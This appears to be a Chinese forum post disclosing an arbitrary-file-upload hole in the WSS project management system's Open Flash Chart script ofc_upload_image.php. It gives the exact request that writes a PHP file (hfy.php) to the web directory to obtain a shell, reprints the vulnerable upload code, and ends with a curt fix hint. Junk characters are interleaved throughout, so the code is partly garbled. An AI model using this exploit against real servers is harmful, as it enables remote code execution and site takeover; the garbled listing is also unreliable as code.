WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
: m1 q! m" f) w
Post任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


  j! h$ J- X5 q5 H最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
/ ?$ L* i% W1 J  w3 g: H% D5 {
4 \# n7 r+ ]( i! @( o, `, D7 J' V% _<?php

//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
7 J" [  P; {% }//
& S7 K7 N% }8 B% n. p3 g
/*

. O/ R6 w$ d. i0 L/ b1 Xprint_r( $_GET );
print_r( $_POST );
* V6 q  E" z+ G' p% O& uprint_r( $_FILES );
( R* R7 |" c# c; Z
  p* U6 L5 a; Z/ E1 G0 k, `/ \3 qprint_r( $GLOBALS );
# L8 d8 v9 x% G+ s) dprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

1 B/ q! N6 S+ P  m8 ~  R*/
// default path for the image to be stored //
' n, m( v7 M; B$default_path = '../tmp-upload-images/';

$ p, S& }/ F6 W1 Xif (!file_exists($default_path)) mkdir($default_path, 0777, true);

! ?' v) S  v3 ?: |) b2 `6 M// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
// print_r( $_POST );
( z$ `& n' b' S1 ^, E# H# p9 B// print_r( $_SERVER );
: M7 r3 @, ~" \8 p// echo $HTTP_RAW_POST_DATA;

0 Q! Y- H4 m# t- u//
// POST data is usually string data, but we are passing a RAW .png
* |3 L) o; |- k  A3 e. [// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
& M9 T6 x5 s" Y5 r7 d. h//
/ [/ e" n" L3 v( d% X. |4 j
6 D3 `% r# E& p, |+ ]; s  @4 e" m& @$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
/ S# Q- [0 _6 [8 yfclose($jfh);

4 s7 F% L* l! B$ L6 S, W& [//
6 F' C, ?4 |  S2 J7 {" g) Z" p// LOOK:
//
exit();
//
0 B. g6 w. N, Y$ z. N% N1 d- G// PHP5:
6 U% c) b+ c/ L/ n% @3 |//
! H! J, F7 |7 ]: |
/ ^! ?" `- @5 }8 V9 Z9 L6 Y
8 v* Z! F3 L) g; a+ l& e$ t// default path for the image to be stored //
3 j$ o, H! j: d) J$default_path = 'tmp-upload-images/';

6 f' h% x' ^. K2 [3 O9 zif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
6 Y; a! U0 d; L% W, ]. Y2 V; s( o5 X5 S
// move the image into the specified directory //
) ~; ?5 t2 m3 k' B: }if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
% s! X& w5 V+ W+ O8 T+ }    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
}


?>
5 ^0 B0 ]+ v8 @) n; C; a- }7 A/ j

% P$ o8 T/ G; |8 E
& }9 e/ M- |1 D4 ]$ G! W
; O+ k4 _! Q, R% s. Y5 P- h6 A. D) g
1 }9 A, T5 z0 h8 k* R
# Y3 N$ z% e1 v* c' W修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

2 r* c) |. l( u
+ a8 U5 D: I9 \( ^
; \2 F: D9 @5 Z) y" F9 i* U$ x
/ B3 c/ J4 P* M8 I4 i